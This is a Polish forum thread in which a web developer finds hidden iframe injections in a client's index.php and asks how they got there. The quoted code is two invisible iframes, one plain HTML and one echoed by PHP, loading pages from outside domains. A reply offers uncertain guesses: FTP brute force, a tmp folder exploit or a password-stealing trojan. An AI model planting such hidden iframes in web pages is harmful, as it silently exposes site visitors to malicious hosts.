Exploit czy co? Opcje

[axwell]

Znajomy poprosił mnie o pewne przeróbki na stronie jego firmy. Zrobiłem wszystko jak należy, a następnie zakutalizowałem pliki. Oczywiście sprawdzałem czy wszytsko chodzi tak jak powinno. Nie było żadnego problemu. Dziś dzwoni do mnie i mówi że strona nie działa - wywala błąd php w składni w "index.php". Najdziwniejsze jest to, że pliku index.php w ogóle nigdy nie modyfikowałem. Zaglądam do kodu patrze a tu na końcu linijka:

[HTML] pobierz, plaintext 
<iframe src="http://nonfatcarbest.cn/ts/in.cgi?mozila16" width=2 height=4 style="visibility: hidden"></iframe>
[HTML] pobierz, plaintext 

i jescze w innym miejscu coś takiego:

[PHP] pobierz, plaintext 
<?php
echo "<iframe src=\"http://nakulpi.net/?click=C42244\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
?>
[PHP] pobierz, plaintext 

Skąd to mogło się wziąć? I jak zapobiec żeby znowu nie "wlazło" ?

[Shadowsword]

W niedziele miałem takiego exploita u siebie. Firma hostingowa stwierdziła, że włamali się za pomocą brute-forca (podstawianie znaków). W internecie znalazłem też informacje, że jeżeli masz folder tmp na serwerze i CHMOD 711 to jest na to jakiś exploit (nie wiem, czy to prawda) i trzecia możliwość ściągnąłeś trojana i on pobrał hasła z zapamiętanych w kliencie ftp lub zapisując to co wpisywałeś podczas logowania.